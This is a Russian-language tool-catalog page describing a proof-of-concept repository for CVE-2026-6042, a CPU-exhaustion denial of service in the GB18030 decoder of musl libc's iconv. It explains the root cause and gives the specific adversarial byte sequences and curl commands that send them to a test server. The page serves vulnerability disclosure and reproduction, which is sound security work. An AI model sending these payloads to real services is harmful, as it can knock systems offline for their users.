Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-6042-PoC — Доказательство концепции и сквозной тест Algorithmic Complexity DoS в musl libc 0.8.0-1.2.6, присвоен CVE-2026-6042 | Kitploit
Инструменты/GitHubGitHub/jensnesten/cve-2026-6042-poc
Анализ уязвимостейЭксплуатацияВеб-безопасностьФаззинг
GitHubjensnesten/cve-2026-6042-poc

CVE-2026-6042-PoC

Доказательство концепции и сквозной тест Algorithmic Complexity DoS в musl libc 0.8.0-1.2.6, присвоен CVE-2026-6042

Репозиторий
4 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-6042: Алгоритмическая сложность DoS в iconv из musl libc

Циклы пропуска пробелов в 4-байтовом декодере GB18030 в iconv из musl позволяют небольшой специально сформированный входной данным потреблять непропорционально много времени CPU. Вредоносная нагрузка размером 40 КБ может занять одно ядро CPU более чем на 40 минут.

  • Консультация: https://www.openwall.com/lists/oss-security/2026/04/09/19
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-6042

Вопреки тому, что говорится в консультациях, вектор атаки этого эксплойта, очевидно, сетевой, а не локальный. Это связано с тем, что VulDB на самом деле не понимает уязвимости, которые они назначают.

Вектор CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H — 7.5 (Высокий)

Обзор

ПолеДетали
Затронутое ПОmusl libc (реализация iconv)
Затронутые кодировкиGB18030 (4-байтовые последовательности)
ТипАлгоритмическая сложность / Отказ в обслуживании
Подтверждённые версииmusl 1.2.5 (Alpine 3.21), musl 1.2.6 (собран из исходников)
Вероятно затронутыВсе версии musl с момента добавления поддержки GB18030 и UHC/CP949
Поверхность атакиЛюбой сервис на основе musl, который вызывает iconv() для недоверенного ввода с этими кодировками

Корневая причина

4-байтовый декодер GB18030 в musl (src/locale/iconv.c, примерно строки 434-442) преобразует 4-байтовую входную последовательность в линейный индекс, а затем проходит цикл пропуска пробелов, чтобы сопоставить этот индекс с кодовой точкой Unicode. Для каждого декодированного символа внутренний цикл перебирает всю таблицу gb18030[126][190] (23 940 записей), чтобы подсчитать, сколько 2-байтовых сопоставленных кодовых точек попадает в скользящий диапазон.

Байтовая последовательность 82 35 8F 33 даёт линейный индекс 19 171, который находится чуть ниже плотного диапазона CJK Unified Ideographs (U+4E00-U+9FBD, ~20 902 записи). Затем цикл пропуска пробелов должен пройти весь плотный блок по одной записи за раз, выполняя ~20 905 внешних итераций, каждая из которых сканирует все 23 940 записей таблицы. Это примерно 500 миллионов сравнений на каждый входной символ.

Поскольку стоимость линейно масштабируется с количеством вредоносных символов во входных данных, и каждый символ независимо запускает полный внутренний цикл, общая работа составляет O(n * k^2), где n — количество входных символов, а k — размер таблицы поиска.

Влияние

Любая система на основе musl (Alpine Linux, Void Linux, postmarketOS, встроенные/контейнерные образы и т. д.), работающая с сервисом, который транскодирует GB18030 или EUC-KR из пользовательского ввода через iconv(), уязвима для отказа в обслуживании.

Прогнозируемое время на одном ядре (измерено на Alpine 3.21 / musl 1.2.5):

Входные данныеВремя
1 вредоносный символ (4 байта)~0,26 с
100 символов (400 байт)~26 с
1 000 символов (4 КБ)~4,3 мин
10 000 символов (40 КБ)~43 мин

Для сравнения, 100 безвредных символов GB18030 декодируются за микросекунды.

Содержимое репозитория

ФайлОписание
poc_gb18030_dos.cАвтономный PoC: замеряет время декодирования безвредных и вредоносных GB18030 через iconv()
server.cМинимальный HTTP-сервер, который транскодирует тела POST-запросов через iconv(), имитируя реальную поверхность атаки
DockerfileОбраз контейнера Alpine Linux, который собирает и запускает уязвимый сервер
test.shСкрипт сквозного тестирования: отправляет безвредные и вредоносные нагрузки на сервер и сравнивает время ответа

Воспроизведение

1. Автономный PoC (прямой замер времени iconv)

Соберите и запустите на любой системе на основе musl:

root@kitploit:~
# На Alpine Linux
apk add gcc musl-dev
gcc -O2 -o poc_gb18030_dos poc_gb18030_dos.c
./poc_gb18030_dos

Или через Docker:

root@kitploit:~
docker run --rm -v "$(pwd)":/work -w /work alpine:latest \
  sh -c "apk add gcc musl-dev && gcc -O2 -o poc_gb18030_dos poc_gb18030_dos.c && ./poc_gb18030_dos"

Ожидаемый вывод: безвредные символы декодируются за микросекунды; один вредоносный символ (82 35 8F 33) занимает ~0,26 секунды.

2. Сквозное тестирование (HTTP-сервер в Docker)

Соберите и запустите уязвимый сервер:

root@kitploit:~
docker build -t cve-2026-6042 .
docker run --rm -p 8080:8080 cve-2026-6042

В другом терминале запустите тестовый набор:

root@kitploit:~
./test.sh

Или отправьте нагрузку вручную:

root@kitploit:~
# Безвредная: 100 символов, должна вернуться мгновенно
printf '\x81\x30\x81\x30%.0s' $(seq 1 100) > /tmp/benign.bin
curl -X POST -H "Content-Type: text/plain; charset=gb18030" \
     --data-binary @/tmp/benign.bin http://localhost:8080/

# Вредоносная: всего 5 символов, должно занять >1 секунды
printf '\x82\x35\x8F\x33%.0s' $(seq 1 5) > /tmp/adversarial.bin
curl -X POST -H "Content-Type: text/plain; charset=gb18030" \
     --data-binary @/tmp/adversarial.bin http://localhost:8080/

Заголовок ответа X-Transcode-Time сообщает время, затраченное внутри iconv().

Сквозная демонстрация

Скриншот ниже показывает линейное масштабирование вредоносного ввода против Docker-сервера: 20 символов (80 байт) занимают ~5,2 с, 80 символов (320 байт) — ~20,8 с, а 160 символов (640 байт) — ~41,5 с.

Сквозная демонстрация DoS

Ключевые байтовые последовательности

ПоследовательностьЛинейный индексПоведение
81 30 81 30 (безвредная)128Низкая кодовая точка; цикл пропуска пробелов завершается быстро
82 35 8F 33 (вредоносная)19 171Попадает чуть ниже плотного блока CJK; вызывает ~500 млн сравнений
82 35 90 30 (вредоносная)~19 200Тот же регион, аналогичная стоимость

Отказ от ответственности

Этот репозиторий опубликован в целях исследования безопасности и ответственного раскрытия информации. Код предоставлен исключительно для воспроизведения и проверки CVE-2026-6042. Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.

Скачать инструмент